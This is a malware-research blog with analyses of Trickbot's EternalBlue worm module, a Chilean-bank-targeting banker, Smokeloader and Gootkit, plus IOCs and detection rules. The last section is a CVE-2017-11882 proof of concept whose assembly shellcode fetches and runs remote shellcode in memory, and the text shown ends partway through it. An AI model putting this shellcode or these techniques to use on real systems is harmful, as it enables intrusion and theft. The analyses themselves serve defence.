reversingminds's Blog

In this series of articles, I going to explain how the different malware families implement EternalBlue and how they take advantage of it.

EternalBlue (CVE-2017-0143)

Is an exploit developed by the NSA, leaked by the Shadow Brokers hacker group on April 14, 2017.

Was widely known when was used as part of the wordwide Wannacry ransomware attack on May 12,2017.

This exploit takes advantage of a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol (CVE-2017-0143), sending crafted packets using SMBv1 allows arbitrary code execution into the target system.

Operative systems affected:

• Windows XP
• Windows Vista
• Windows 7
• Windows 8.1
• Windows 10
• Windows Server 2003
• Windows Server 2008
• Windows Server 2012
• Windows Server 2016

Trickbot (Banker)

In this post, I going to analyze Trickbot's wormDll32 module, this module allows Trickbot to spreads using EternalBlue.

Worm module

This module tries to infect all the devices into the same domain of the infected machine using EternalBlue.

As it is usual in the Trickbot modules, the DLL has 4 exports:

• Control
• FreeBuffer
• Release
• Start

The export that starts the malicious operations is Control.

When the new thread is created, the module enumerates all the servers from the same domain using NetServerEnum.

Then, it obtains the IP of the hosts using gethostbyname and inet_ntoa functions.

With this info, OpenSocket_ThenEternalBlue function is called.

This function performs socket operations in order to establish communication with the targeted machine.

If everything works as expected, the EternalBlue infection starts:

First, the module checks the OS version. If the version contains one of these strings, it will try to infect the device:

• Windows 7
• 2008
• Vista
• 2003
• Windows 5

Then, the function creates the required structures to perform the EternalBlue attack and takes advantage of the vulnerability.

The final stage of this process is to inject a shellcode into the targeted system. This module contains two shellcodes, one for 32 bits systems (left) and the other for 64 bits systems (right)

Both shellcodes contain a malicious URL from which the malicious code will be downloaded.

Shellcode

The examples given here come from x86 shellcode.

The shellcode is composed of two parts. The first one is the Ring 0 part that gets ready in order to perform a Ring 3 APC injection into the targeted process to execute the malicious Ring 3 code (if the injection is performed in lsass.exe or services.exe it will be executed with System priviledges)

This is the first part of the trickbot shellcode.

Doing a little research, it have found that the initial part of the shellcode corresponds to this code:

• https://github.com/worawit/MS17-010/blob/master/shellcode/eternalblue_kshellcode_x86.asm

The EternalBlue POC can be found in this GitHub:

• https://github.com/worawit/MS17-010

Comparing both the trickbot's shellcode and the original shellcode from GitHub, it have been noticed that the original one doesn't perform an APC injection into lsass.exe process as the original shellcode does.

_find_target_process_loop function of the original shellcode from GitHub:

LSASS_EXE_HASH    EQU    0xc1fa6a5a

[...]
    
_find_target_process_loop:
    lea esi, [edi+ecx]
    call calc_hash
    cmp eax, LSASS_EXE_HASH    ; "lsass.exe"
    jz found_target_process
%ifndef COMPACT

find_target_process_loop function of Trickbot's x86 shellcode:

0xc1fa6a5a (LSSAS) != 0x388CC1E7 (Unknow process)

If the injection is performed into lsass.exe the lsass.exe hash (0xc1fa6a5a) should be find, but instead 0x388CC1E7 have been found.

And the calc_hash functions found in both shellcodes are the same:

;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
; 
; Argument: esi = string to hash
; Clobber: esi
; Return: eax = hash
;========================================================================
calc_hash:
    push edx
    xor eax, eax
    cdq
_calc_hash_loop:
    lodsb                   ; Read in the next byte of the ASCII string
    ror edx, 13             ; Rotate right our hash value
    add edx, eax            ; Add the next byte of the string
    test eax, eax           ; Stop when found NULL
    jne _calc_hash_loop
    xchg edx, eax
    pop edx
    ret

At this point, the original calc_hash function from the shellcode have been found in order to create a python script with the same functionality. The objective is to obtain the name of the process associated with the unknown hash 0x388CC1E7 that appears in the trickbot's shellcode.

Using the script it has found that the name of the process associated with the hash 0x388CC1E7 is services.exe, meaning that Trickbot's shellcode will inject its malicious code into services.exe process instead of lsass.exe.

$python trickbot_shellcode_hashcalc.py 
0xc1fa6a5a : lsass.exe
0x388cc1e7 : services.exe
0x3ee083d8 : spoolsv.exe
0xb7e02438 : svchost.exe
0x3eb272e6 : explorer.exe
0x7ab2a3f2 : taskmgr.exe
0x3ee083d8 : spoolsv.exe
0xbebc72a3 : winlogon.exe
0xc1fa247a : csrss.exe
0xc1f70bda : smss.exe

Trickbot payload Ring 3 injected into services.exe:

This is the part that Trickbot's developers have created, since the other is a copy from GitHub.

The shellcode will unxor the encoded data to obtain the name of the functions that the shellcode needs to work.

When the process is completed, it can be noticed that the buffer contains the name of the functions and the name of the payload that will be downloaded into the system setup.exe and GET string that is used as a parameter in one of the functions to download the malicious "png".

Then it loads the IAT:

It obtains the malicious URL from the end of the shellcode.

After that, it cut the malicious URL into:

IP:

185.158.131.55

Malicious exe with PNG extension:

worming.png

In addition, the shellcode downloads the malicious payload into the system:

Finally the shellcode copies the payload (trickbot) from 185.158.131.55/worming.png into setup.exe and then executes it using CreateProcessA, infecting the EternalBlue vulnerable system with Trickbot.

Author: @51ddh4r7h4

Malware analysis sample with MD5 da3ae8369f32acaff188a5163adcf8a0

There is no info about how the sample infects the system, this sample could have been dropped/downloaded in an initial stage infection. For example, a common scenario, where an user receives an email with a malicious Word document attached. This word document could have malicious Macros or an exploit that takes advantage of CVE-2017-11882 or CVE-2018-0802 vulnerabilities in order to download, stablish the persistence and execute the second stage.

Moreover, the sample is a DLL and it is possible that it uses DllHijacking to be more stealthy during its execution, setting an autorun mecanism using the registry, scheduled task, service... pointing to the legitimate program that is going to load de malicious DLL.

Static analysis - MD5 da3ae8369f32acaff188a5163adcf8a0

The sample is a DLL compiled with Delphi, the Compiler timestamp: is 12/07/2018 (it can be modified), with a "valid certificate" signed by ITWAYSUK LTD.

VT Detections

The sample is detected by 33/65 antivirus engines, as "Trojan.Banker"

Exports

The sample has 4 exports, dbkFCallWrapperAddr, _dbk_fcallwrapper and TMethodImplementationIntercept exports are usual in DLLs compiled in Delphi XE6.

QOAKN6CXI9RC5RRTFXN13SHVYHD9KOR4SP is the export that performs the malicious operations.

Certificate

The signer is ITWAYSUK LTD, and it looks valid, malware developers uses stolen certificates in order to sign malware to bypass Microsoft SmartScreen Application Reputation engine.

#### PE SIGNATURE

Serial Number             : 23 4f 65 60 e6 7b 93 d4 45 86 21 7b e3 e7 49 52
Signers                   : ITWAYSUK LTD; COMODO RSA Code Signing CA; COMODO SECURE™
Counter signers           : Symantec Time Stamping Services Signer - G4; Symantec Time Stamping Services CA - G2; Thawte Timestamping CA

Dynamic Analysis - Export QOAKN6CXI9RC5RRTFXN13SHVYHD9KOR4SP

The analysis starts executing the export QOAKN6CXI9RC5RRTFXN13SHVYHD9KOR4SP.

Mutex creation

339C55F821DC21D8012F20B87EA348F623

Then uses FindResourceW in order to obtain the resource Y8LNCZ6BLW:

This resource is read when the execution starts, could be part of the configuration of the malicious sample.

Check infection

It creates a file in C:\Users\[USER]\AppData\Local with the name "rundll.exe.txt". If the file exists the system have been infected before.

It uses de name of the process that launch the DLL to create the name of the file:

[NameOfTheProcess].exe.txt

In addition, checks if testyy.txt file exist in the path %ALLUSERSPROFILE%\testyy.txt

Decoding strings on demand

This sample decodes the strings on demand.

This technique makes the extraction of the strings more difficult.

Strings deciphered:

WMI using monikers

The technique that the malicious sample uses to execute the WMI commands, is through the use of monikers (https://docs.microsoft.com/en-us/windows/desktop/wmisdk/constructing-a-moniker-string)

Using CreateBindCtx in order to create a bind context, then the function MkParseDisplayName will be called to create the moniker and finally, BindToObject will be called to execute, in this case winmgmts:\localhost\root\SecurityCenter2 to obtain info about the antivirus, antispyware and firewall.

With this interface the malicious sample has the ability to use WMI.

Some of the commands executed with this method:

Core

The core funcionality of this malicious sample is performed using callback functions:

These callbacks are implemented using timers and Windows Hooks (using SetWindowsHookEx)

The different functions of the callbacks obtain info about the state and position of the windows, using functions like GetDesktopWindow, GetTopWindow, GetWindow

In addition, the functions check the keys introduced by the user using GetAsyncKeyState function:

If it detects that the user is trying to transfer money using the web browser from one of the Chilean banks that monitors, it will steal the user credentials in order to perform money transfers to another account.

In addition and due to the use of the second factor is nowadays something common, a way to obtain the second factor code using social engineering has been implemented.

The technique consist in show a popup asking the user for the second factor code.

Bank steal info (second factor)

There are several forms to accomplish this task.

As it can be seen, there are specific forms in order to make the scam more effective.

BBVA bank is not the only one affected by this malicious sample, in the next section it is possible to find the affected financial institutions.

Affected Financial Institutions:

Looking the images:

• BBVA Chile
• Santander Chile
• Banco de Chile
• BCI
• CORPBANCA
• BancoEstado
• Scotiabank
• Itaú
• BancoBice
• BancoSecurity
• Banco Internacional Chile

Looking strings (deciphered):

• Scotiabank
• Banco Consorcio
• Banco Bci
• Transbank S.A
• HSBCnet
• BTG Pactual
• Banco Bice
• Banco Edwards
• Banco Condell
• Banco Ripley
• BBVA Chile
• Banco Falabella
• Banco Estado
• Banco de Chile
• Banco Santander Chile
• Banco Itaú (bancoita)
• Banco Security
• Banco Internacional (Chile)
• Banco CorpBanca

Clipboard cryptohijacking

Another characteristic of this malicious sample, is the ability to detect and change the user BTC address from the clipboard by the hardcoded in the malicious sample, with the objective to trick the user to send the funds to the cybercriminal BTC address.

BTC address used by this malicious sample:

163McXwBrc9S7JzbgegzVuw7QTJ9H1dQj7

Communication

The sample establishes communication with the domain hxxp://dbcadastro.com/cadastramentoS5/ponto.php (IP 162.241.2.61), the server returns "a FALSEfalse 0".

The message sent by the malicious sample contains the following info:

Conclusion

Brazilian banker malware by their tactics, techniques and procedures (TTPs) targeting Chileans financial instituions, in order to steal, bank credentials using fake bank pop-ups. It seems more advanced than the common Brazilian malware, using certificates, on demand string deciphering and WMI monikers. Moreover implements clipboard cryptohijacking techniques.

Malicious sample characteristics and capabilities:

• TTPs related to Brazilian malware (Delphi)
• Chileans bank affectation.
• Use of WMI monikers to obtain info and manipulate the antivirus, firewall etc...
• Uses valid certificate to bypass Microsoft SmartScreen.
• Ciphered strings, only deciphered on demand.
• Steals bank credentials and double factor tricking the user, using fake popups requesting for second factor code.
• Clipboard BTC address cryptohijacking.
• Keylogger features

IOCs

Process with this mutex:

339C55F821DC21D8012F20B87EA348F623

C&C - Domains and IPs

http://dbcadastro.com/cadastramentoS5/ponto.php 
162.241.2.61
190.114.253.206 (Dynamic DNS)

Domains from VT passive DNS related to 162.241.2.61

2018-07-21 impressoscapao.com.br
2018-07-21 www.impressoscapao.com.br
2018-07-21 www.wonderdesigngrafico.com
2018-07-21 wonderdesigngrafico.com
2018-07-20 targetnegocios.com.br
2018-07-20 www.lilianecassinelli.com
2018-07-20 lilianecassinelli.com
2018-07-20 treinalinux.com
2018-07-20 www.treinalinux.com
2018-07-20 www.flordelizbrechoinfantil.com.br
2018-07-20 flordelizbrechoinfantil.com.br
2018-07-20 www.cfnow.com.br
2018-07-20 cfnow.com.br
2018-07-20 www.rcstylebrasilia.com.br
2018-07-20 rcstylebrasilia.com.br
2018-07-20 www.bepersonalstyle.com.br
2018-07-20 bepersonalstyle.com.br

Domains from VT passive DNS related to 190.114.253.206 (Dynamic DNS)

2018-04-05 ssl.ddns.me
2018-01-19 ssl2018.brasilia.me

BTC Address used for clipboard cryptohijacking

163McXwBrc9S7JzbgegzVuw7QTJ9H1dQj7

PE Signature

#### PE SIGNATURE

Serial Number             : 23 4f 65 60 e6 7b 93 d4 45 86 21 7b e3 e7 49 52
Signers                   : ITWAYSUK LTD; COMODO RSA Code Signing CA; COMODO SECURE™
Counter signers           : Symantec Time Stamping Services Signer - G4; Symantec Time Stamping Services CA - G2; Thawte Timestamping CA

Snort Rule

alert tcp any any -> any any (msg:”BrazilianBanker”;
content:"POST"; 
http_method;
pcre:"GENERAL=.*&VERSAO=.*&WIN=.*&NAVEGADOR=.*&PLUG1M=.*&AV=.*";)

Generic Yara Rule

rule GenericBrazilianBankerRule {
   meta:
      description = "GenericBrazilianBankerRule"
      date = "2018-07-22"
      hash1 = "7acb19b31a431ba3ca05acff9c1b378eb1658585761ff84ca762e2b5f16098d0"
      hash2 = "d0e232ac6602d7c09e5ee233fb5865c1b9286e90973058665e0c76917a50c95d"
      hash3 = "b04e2037771923747ff98afb6cfd1d6769b6d266f781e66ebe7d92fd43e7b92b"
      hash4 = "e133c2134604d5ae038583f848df13cc8ab42be77e25554d78a938f2ff078437"
      hash5 = "6aaf83ff0b2deda98eb39150ff90c47b4a5f5f78d1eb0f185017ede95bfdedf5"
      hash6 = "97e10f669c1094838f3814e8f850d8cf9479db3a8b5fc7fe2bcde1edf1977dfa"
      hash7 = "985c6d89543563901c131c5cc7143f680fd957b8aa74c0f5dd25f7e462e354e9"
      hash8 = "1eef0649b231f9ce0838f1a04658ad4f6c8563b9ad7358397db09d21ac744a52"
      hash9 = "e65948d6caefa012741edda1f9f99b56abfed5e66d101178cd846679717c6b29"
      hash10 = "1386c27973e299b5fb07bb6ad065e02c6bcac5d2b29da15a068be9f6d29dfa30"
      hash11 = "4a18f1e284fd06ef9b96bdc4b0b1666810f4868fc8d1edfbaf46727dfce416eb"
      hash12 = "425a4bfcb429761781550117cc95f4cb3778279bb9535caeb3824e086593faa1"
      hash13 = "6e82426990e76b0847fd0446c54c92a0b5833f65aee2d135fea183c67badd944"
      hash14 = "ba1ccda1cb3e73b95f75b014abb5d078510b3ad71fde21164494714d9bb776e9"
      hash15 = "bc5662a336871a35ead6522dd17a83861338cf354b4baa62a672ffdc111c9f96"
      hash16 = "f233313327906be03487c3f20732f5cf8f8e1150d19a9dc30e68e9db2d85a0ca"
      hash17 = "19ea016096b35c7af9a4b7b4f586070e3203f4b91be329d26783c6b1f3ec8346"
      hash18 = "007cb339f4314da51f34f46d51adb9537229750e6112f4cf192db872042793b6"
      hash19 = "a8dcda65baf611c2a7c35a129eb6903c779e45a90f91d4515db5d4af72bbebf5"
      hash20 = "067fb3fbfaee68e825af3b184bf61b7997ed3b0a1cf833aecba40b00d00fcb04"
      hash21 = "0dca0f585bb175dc5b248cbf2d32651647736199999d3af533f917e009ea9f11"
      hash22 = "77426ec69ec283fb561022e32c37768da6ae08e5ea24bb8aae134af971ded426"
      hash23 = "b96a43bfbf8a03b019fb3cd82834576b23299d12ebe985ea19684829b6be22ce"
      hash24 = "94c69d61e769cbd0229af67461749121f02d067ec4c1b1d14f95f35af2576243"
      hash25 = "f65a4dfeef0a7b5d539ab889d8badf0100017ebe11a9cb784882813ddbf3a00c"
      hash26 = "8418c5026cc9a1656859bac2c5f504561c76559d5ebcbdf3c0a7a74cf3b4458c"
      hash27 = "033489ac01edb282a139a19058fb746db01f62c5c70bf49cc34e5cc35130cd4b"
      hash28 = "4ac058056fa965b6a9ae5efa8a4af44827952ae3c64af9352250f48eeefda0a2"
      hash29 = "60a4801983780a0b2b971bfe906e8ab2204323538ce964ddc093ed493136177b"
      hash30 = "30ddce8086742c014e3a796c4406262a0696bdf8703cf0996a32f8fa27449c2a"
      hash31 = "a617e7d9c5066ad2e125297257f92fcf1ba2106adde60571799c07c0ce55f96f"
      hash32 = "f45355992af923ac4bdb49e691a2d7e3d590cfd368678b7a78add63681b03583"
      hash33 = "a4c94417cb5f33054feee449de342d6afb7c1836194259af3b5048d3e06cf4c3"
      hash34 = "f2f645c0864cf536c9461339633a3ede4bd9f58dead05d10fafbd18429bba206"
      hash35 = "2b6b1c4de97695c278348f3e34e274f3ba6328a210f9e2dbe3035c9eff595cfd"
      hash36 = "78ded77048f73d94a6bee27ef9a229c2e07de616732b8ce0d990f38a158e5ada"
      hash37 = "a02e430146b555b68db882aeb26a02fcc044bcb27c23f2dc80d579e41775b7d5"
      hash38 = "3ae06cbc3ae679d9eb19a03277c9c87258c4607fd3c561523afae89742b6895e"
      hash39 = "f00724324df876d30b5b708301c4179b67f39927276e9c9a17d24e769d5b8152"
      hash40 = "b101e15184908561673ebc20ca4464789d363bdc8f5a3d54f4ca127fac57e100"
      hash41 = "7e5c63d2b9287f31a7679055f9172ec449b230663573296db502954c9677ab3b"
      hash42 = "a3626c6cd21e1be1ed25bc1939aa9922a7aaa4bc2ffdd1bfbd9952bb3c357a97"
      hash43 = "543da2c0830049b84d8e6667d05f802cf1a3f65eaccc96b5efb4c17538f233bd"
   strings:
      $s1 = "Invalid characters in path The specified file was not found*Windows socket error: %s (%d), on API '%s'" fullword wide
      $s2 = "SelectedNotFocusedHot$tlGroupHeaderLineCloseMixedSelection'tlGroupHeaderLineCloseMixedSelectionHot" fullword ascii
      $s3 = "C:\\ProgramData\\testyy.txt" fullword wide
      $s4 = "ExecuteMacroLines" fullword ascii
      $s5 = "ctedNotFocusedHot#tlGroupHeaderLineOpenMixedSelection&tlGroupHeaderLineOpenMixedSelectionHot" fullword ascii
      $s6 = "MTDelegatedComparer<System.Rtti.TPair<System.TypInfo.PTypeInfo,System.string>>" fullword ascii
      $s7 = "FOnExecuteMacro" fullword ascii
      $s8 = "OnExecuteMacro" fullword ascii
      $s9 = "ExecuteMacro" fullword ascii
      $s10 = "?TDelegatedComparer<System.Rtti.TMethodImplementation.TParamLoc>" fullword ascii
      $s11 = "System.Win.ScktComp" fullword ascii
      $s12 = " - Host: " fullword wide
      $s13 = "OnGetPassword" fullword ascii
      $s14 = "4TDelegatedComparer<System.HelpIntfs.THelpViewerNode>" fullword ascii
      $s15 = "WSAASyncGetHostByName" fullword wide
      $s16 = "Error setting %s.Count8Listbox (%s) style must be virtual in order to set Count%Cannot remove shell notification icon\"%s requir" wide
      $s17 = "CTDictionary<System.string,System.TypInfo.PTypeInfo>.TPairEnumerator" fullword ascii
      $s18 = "FGetHostData" fullword ascii
      $s19 = "~System.Win.ScktComp" fullword ascii
      $s20 = "GetCookieByNameAndDomain" fullword ascii
   condition:
      ( uint16(0) == 0x5a4d and
        filesize < 28000KB and ( 8 of them )
      ) or ( all of them )
}

Malicious samples from VirusTotal with the same PE Signature

007cb339f4314da51f34f46d51adb9537229750e6112f4cf192db872042793b6
033489ac01edb282a139a19058fb746db01f62c5c70bf49cc34e5cc35130cd4b
067fb3fbfaee68e825af3b184bf61b7997ed3b0a1cf833aecba40b00d00fcb04
0dca0f585bb175dc5b248cbf2d32651647736199999d3af533f917e009ea9f11
1386c27973e299b5fb07bb6ad065e02c6bcac5d2b29da15a068be9f6d29dfa30
19ea016096b35c7af9a4b7b4f586070e3203f4b91be329d26783c6b1f3ec8346
1eef0649b231f9ce0838f1a04658ad4f6c8563b9ad7358397db09d21ac744a52
2b6b1c4de97695c278348f3e34e274f3ba6328a210f9e2dbe3035c9eff595cfd
30ddce8086742c014e3a796c4406262a0696bdf8703cf0996a32f8fa27449c2a
35db30e5b9577d52ddedb3ac0fc402b0a49c406c3d231330bebfc52ecba2a828
3ae06cbc3ae679d9eb19a03277c9c87258c4607fd3c561523afae89742b6895e
425a4bfcb429761781550117cc95f4cb3778279bb9535caeb3824e086593faa1
4a18f1e284fd06ef9b96bdc4b0b1666810f4868fc8d1edfbaf46727dfce416eb
4ac058056fa965b6a9ae5efa8a4af44827952ae3c64af9352250f48eeefda0a2
543da2c0830049b84d8e6667d05f802cf1a3f65eaccc96b5efb4c17538f233bd
60a4801983780a0b2b971bfe906e8ab2204323538ce964ddc093ed493136177b
6aaf83ff0b2deda98eb39150ff90c47b4a5f5f78d1eb0f185017ede95bfdedf5
6e82426990e76b0847fd0446c54c92a0b5833f65aee2d135fea183c67badd944
77426ec69ec283fb561022e32c37768da6ae08e5ea24bb8aae134af971ded426
78ded77048f73d94a6bee27ef9a229c2e07de616732b8ce0d990f38a158e5ada
7acb19b31a431ba3ca05acff9c1b378eb1658585761ff84ca762e2b5f16098d0
7e5c63d2b9287f31a7679055f9172ec449b230663573296db502954c9677ab3b
8418c5026cc9a1656859bac2c5f504561c76559d5ebcbdf3c0a7a74cf3b4458c
94c69d61e769cbd0229af67461749121f02d067ec4c1b1d14f95f35af2576243
97e10f669c1094838f3814e8f850d8cf9479db3a8b5fc7fe2bcde1edf1977dfa
985c6d89543563901c131c5cc7143f680fd957b8aa74c0f5dd25f7e462e354e9
a02e430146b555b68db882aeb26a02fcc044bcb27c23f2dc80d579e41775b7d5
a3626c6cd21e1be1ed25bc1939aa9922a7aaa4bc2ffdd1bfbd9952bb3c357a97
a4c94417cb5f33054feee449de342d6afb7c1836194259af3b5048d3e06cf4c3
a617e7d9c5066ad2e125297257f92fcf1ba2106adde60571799c07c0ce55f96f
a8dcda65baf611c2a7c35a129eb6903c779e45a90f91d4515db5d4af72bbebf5
b04e2037771923747ff98afb6cfd1d6769b6d266f781e66ebe7d92fd43e7b92b
b101e15184908561673ebc20ca4464789d363bdc8f5a3d54f4ca127fac57e100
b96a43bfbf8a03b019fb3cd82834576b23299d12ebe985ea19684829b6be22ce
ba1ccda1cb3e73b95f75b014abb5d078510b3ad71fde21164494714d9bb776e9
bc5662a336871a35ead6522dd17a83861338cf354b4baa62a672ffdc111c9f96
c02bb98803992ee6b1babb86f1b165bad99dd1eecdb01fab00cebe45cbae5860
d0e232ac6602d7c09e5ee233fb5865c1b9286e90973058665e0c76917a50c95d
e133c2134604d5ae038583f848df13cc8ab42be77e25554d78a938f2ff078437
e65948d6caefa012741edda1f9f99b56abfed5e66d101178cd846679717c6b29
f00724324df876d30b5b708301c4179b67f39927276e9c9a17d24e769d5b8152
f233313327906be03487c3f20732f5cf8f8e1150d19a9dc30e68e9db2d85a0ca
f2f645c0864cf536c9461339633a3ede4bd9f58dead05d10fafbd18429bba206
f45355992af923ac4bdb49e691a2d7e3d590cfd368678b7a78add63681b03583
f65a4dfeef0a7b5d539ab889d8badf0100017ebe11a9cb784882813ddbf3a00c

Author: @51ddh4r7h4

Smokeloader Malware Analysis

md5: 13E928FD0CC989BEAF07196FDC8D5BE2

In this article I going to explain, how the malware works, in a summaryzed form, at the same time I will remark some antidebug and antivm tricks tricks that the sample uses.

First Stage Sample Execution

The sample is strongly MFC based (virtual classes (ordinals))

Moreover, some of the strings are hidden using this stack-strings technique:

The process will create a new suspended process, a copy of itself, it will perform some modifications before resuming the thread. This is the first antidebug trick.

Child Process

Then the code injected in the child process will overwrite the code in order to difficult the analysis, we have to be very careful with the break points at this point.

When the new code is written it will jumps to it, and it will erase the "old code" using rep stosb byte ptr es:[edi], al

rep stosb passed, code erased:

Then the sample will check if there is any debugger attached using the PEB + 2 trick, if it find other value than 0, there is a debugger attached to the process.

Example bad case, debugger hunted :

Debugger Hidden:

In addition, it will check GlobalFlags using PEB + 68, if it find other value than 0, the program explode :P

The sample will continue erasing the "old code" and creating the new one:

The code will find the functions using GetProcAddress after load user32:

Resolving addresses:

At this point, the process will use SetKernelObjectSecurity

Virtual Machine checks using GetVolumeINformationA -> GetQueryValue -> System\CurrentControlSet\Services\Disk\Enum"

esi:"SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S\5&1ec51bf7&0&000000"

Then, the sample will check if there are any string into "SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S\5&1ec51bf7&0&000000" related to:

• qemu
• virtual
• vmware
• xen

The sample will check if its name is "sample" and if there is installed "AutoItv3CCleanerWIC" using the "Software\Microsoft\Windows\CurrentVersion\Uninstall" entry.

Then it will check if sbiedll.dll (sandboxie dll) or if dbghelp (ollydbg dll) are loaded.

When all the checks are bypassed, it will creates a new suspended process, explorer.exe, using CreateProcessInternalA:

Some modifications into explorer.exe and finally ResumeThread:

Resume thread to start the malicious activity ^^

Explorer.exe

Code injected into explorer:

Cyphering the info:

Creating the PE and persistence:

Communication with jirar.su.

Tricks summarized:

• MFC Code (virtual classes)
• Hidden Strings
• Creation of child process.
• PEB + 2 (Debugger)
• PEB + 68 (GlobalFlags)
• Erasing/Creating code rep stosb byte ptr es:[edi], al
• VirtualAlloc/VirtualFree
• Name "sample"
• "System\CurrentControlSet\Services\Disk\Enum" -> QEMU, Virtual, VMWARE and XEN. (charttolower :P )
• "Software\Microsoft\Windows\CurrentVersion\Uninstall" -> "AutoItv3CCleanerWIC"
• sbiedll.dll (sandboxie dll).
• dbghelp (ollydbg dll).
• Process tree:

  

The malware connects to the C&C http://jirar.su/.

However this url is encrypted in the binary. The function that the malware uses to decrypt the C&C is the next:

This function uses ESI register, that points to the start of the ciphered "string", then the function will uses xor operations to descipher the string.

Decryption function

jbe 9719A9                                      
mov al,1                                        
xor ecx,ecx                                     
mov cl,al                                       
add ecx,edi                                     
dec ecx                                         
mov cl,byte ptr ds:[ecx]                        
xor cl,byte ptr ds:[esi]                        
xor ebx,ebx                                     
mov bl,al                                       
add ebx,edi                                     
mov bl,byte ptr ds:[ebx]                        
xor bl,byte ptr ds:[esi]                        
mov byte ptr ss:[esp+4],bl                      
sub cl,byte ptr ss:[esp+4]                      
xor ebx,ebx                                     
mov bl,al                                       
add ebx,dword ptr ss:[esp]                      
dec ebx                                         
mov byte ptr ds:[ebx],cl                        
inc edi                                         
inc eax                                         
dec dl                                          
jne 97197C                                      
xor eax,eax                                     

Author: @51ddh4r7h4

Introduction

Some days ago I found some samples packed with the same packer. I think it is an old packer which looks like a "simple" wrapper. So I decided to write a static unpacker and here is my brief analysis of the packer and the code I wrote.

Brief analysis

The packer I have analyzed looks like:

It adds a new section (the last section) to the file. And sets the entry point to that section. The last
section is the stub, it has some encrypted subroutines which finally decrypts the others sections.
For performing the unpacking process, it has a structure saved 5 bytes after the entry point. I have
called PACKER_ENGINE to this structure.

original_entry_point → original entry point of the program after unpacking.
import_directory → import directory address for the unpacked program.
base_address → the image base address of the program.
crypted_block_rva_begin → the beginning of the encrypted data (the beginning of the first secction normally.
crypted_block_size → the size of the encrypted data.
crypted_block_rva_end → the end of the encrypted data (the beginning of the last section)
bypass_size → the raw size of the last section pointed by “crypted_block_rva_end”. The data of the last section is not encrypted in many cases.
xor_key → the algorithm that protects data is a simple XOR, this field is the key of that encryption algorithm.

The image below shows the case when the last section is not encrypted.

The image below shows the case when the last section is encrypted.

The PACKER_ENGINE values are protected with the NEG instruction. So before use them we
have to NEG those fields.

Once we know this the unpacking process is easy:
1. Collect PACKER_ENGINE data.
2. Decrypt data.
3. Change in the header the entry point.
4. Change in the header the address of import directory.

Code and packed samples

The unpacker was implemented in both C/C++ and Python. The python version isn't very efficient but it works well.

Github: shrinkwrap_unpacker

Improvements

I havn’t implemented but I think the last section can be delted after the unpacking process.
1. Change in the header number of sections.
2. Change the Size of Image.

Author: @D00RT

Tested sample md5: ae3ef3d2b5e953242d963efc2c635bd9

Gootkit is a banking malware that I started analyzing few days ago.

After unpacking some samples, I found some creepy loops and encrypted strings…

Image 1: Two encrypted strings.

For each string it uses, there is a loop to decrypt the string. After many samples analyzed (2 samples hahaha) I was bored with those loops. So I thought to write an script (my first radare2 script) to decrypt each string and comment my IDB.

Image 2: Many strings, many loops.

Finally, I have done a script (using radare2) which derypts/patches all strings and patches each loop. (because after the patch, the strings are decrypted, so it isn't necesary to continue decrypting the strings)

Lets analyze the encryption algorithm/loop.

In each loop there are two important values, one is the value for the control of the loop and the second one is the value which is used for dividing the counter of the loop (used as a module).

Image 3: The beginning of the loop to decryp a string.

Image 4: The algorithm (XOR) to decryp a string.

Image 5: The code of the loop to decrypt a string.

In this loop that i will show as example, the value for ending the loop is 0x14 and the second value which is used for dividing the loop counter (as a module) is 0x6 (before idiv instruction).

After analyze this loop we notice that, the values of the the first 0x14 mov instructions are the characters of the encrypted string and the next 0x6 value are the characters of the key. The encryption algorithm is too easy, a simple xor between the string and the key.

Finally, after patching the program with the script, (and parsed de output for IDA comments) the result is the next one:

Image 6: In the left the original program with the encrypted string. In the right the patched program with the decrypted string and commented.

All strings are decrypted and a comment is added next to the string (And works without crashing =D)

The details of how it is implemented in radare2 are in the script.

Image 7: The output of the program where you can see the decrypted strings and its offset.

Easy way.

Feel free for sending any suggestion.

Github (SCRIPT): gootkit_string_patcher
Author: @D00RT

Introduction

In this POC we are going to demostrate how to perform a fileless code injection into EQNEDT32.EXE (Microsoft Word Equation Editor) .

We are going to use the unamer implementation (https://github.com/unamer/CVE-2017-11882 ) (605 bytes) to inject our shellcode into the vulnerable Microsoft Word component.

Idea

The idea is to use the WinINet functions to download a shellcode from internet, but directly into the memory of the process without using any intermediate file.

In this POC we have been able to perform this using these functions:

VirtualAlloc: To allocate memory in order to fill it directly with the downloaded shellcode
InternetOpenA: Initializes an application's use of the WinINet functions
InternetOpenUrlA: Opens a resource specified by a complete FTP or HTTP URL.
InternetReadFile: We will download the shellcode in 2000 bytes chunks directly into the allocated memory.

POC - Code

.Code

start:

init:

Mov Ebx, Ecx

jmp @_0   

WinINetStr: 
szWininet db 'wininet', 0

InternetOpenStr:
szWin3 db 'InternetOpenA', 0

InternetOpenAddr:
dwInternetOpen dd 0

InternetOpenUrlStr:
szInternetOpenUrlStr db 'InternetOpenUrlA', 0

InternetOpenUrlAddr:
dwInternetOpenUrl dd 0

InternetReadFileStr:
szInternetReadFile db 'InternetReadFile', 0

InternetReadFileAddr:
dwInternetReadFile dd 0

URLOpen:
szURL db 'http://[domain/file]', 0
UserAgent:
szUserAgent db 'CVE-2017-11882 - Word Exploit - User Agent', 0

BytesRead:
dwBytesRead dd 0

@_0:

; ecx = start address
mov edi, 4668A4h ; LoadLibraryA

; call LoadLibrary("wininet") without .dll 
lea edx, [ebx+(WinINetStr - init)]
push edx  
call DWord Ptr [Edi] ; call LoadLibrary

push eax ; Save WinInitHandle in the stack

; Call GetProcAddress looking for "InternetOpen"
lea edx, [ebx+(InternetOpenStr - init)]
push edx             ; "InternetOpen"
push eax             ; WinInitHandle
sub edi, 14h         ; GetProcAddress
call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetOpenAddr
mov [ebx+(InternetOpenAddr-init)], eax

Pop Eax  ; Recover WinInitHandle
Push Eax ; Save WinInitHandle

; Call to GetProcAddres looking for "InternetOpenUrl"
lea edx, [ebx+(InternetOpenUrlStr - init)]
push edx             ; "InternetOpenUrl"
push eax             ; WinInitHandle
Call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetOpenUrlAddr
mov [ebx+(InternetOpenUrlAddr-init)], eax

Pop Eax ; Recover WinInitHandle

; Call to GetProcAddress looking for "InternetReadFile"
;mov eax, [ebx+(WinInitHandle - init)]
